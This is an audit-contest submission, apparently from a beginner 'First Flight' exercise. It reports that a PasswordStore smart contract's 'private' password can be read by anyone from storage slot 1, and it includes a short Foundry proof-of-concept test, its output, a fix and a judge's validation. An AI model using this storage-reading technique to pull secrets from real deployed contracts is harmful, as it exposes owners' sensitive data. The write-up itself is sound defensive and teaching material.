First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can read the password

ua1552

Summary

The password set by the owner can be read easily by anyone.

Vulnerability Details

In PasswordStore contract, getPassword(...) is used to read the set password from the contract. There is also this check in the function that ensures that only owner can read the value from the private variable s_password:

if (msg.sender != s_owner) {
revert PasswordStore__NotOwner();
}

But this way of storing password is completely useless. Blockchain is a public ledger. That means anyone can read the data stored in a contract anytime. So storing the password in a private variable hides it only from other contracts. But anyone can read this data by getting the slot number and then can convert it easily to required type.

Test for PoC

function test_anyone_can_read_the_password() public {
bytes32 passwordBytes = vm.load(
address(passwordStore),
bytes32(uint256(1))
);
​
string memory password = string(abi.encode(passwordBytes));
​
console2.log("Password stored is: %s", password);
}
Output:
gitpod /workspace/2023-10-PasswordStore (main) $ forge test --mt test_anyone_can_read_the_password -vv
[⠔] Compiling...
No files changed, compilation skipped
​
Running 1 test for test/PasswordStore.t.sol:PasswordStoreTest
[PASS] test_anyone_can_read_the_password() (gas: 8792)
Logs:
Password stored is: myPassword
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.13ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
gitpod /workspace/2023-10-PasswordStore (main) $

Impact

Password set by the owner can be seen by anyone.

Tools Used

Manual Review

Recommendations

Don't store any sensitive info directly into the contract. If there is need then hash it before storing. But storing as a hash will make this getPassword(...) function useless as it will return the hashed password. And hashing is a one way operation. No one can undo this and get back the original value.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.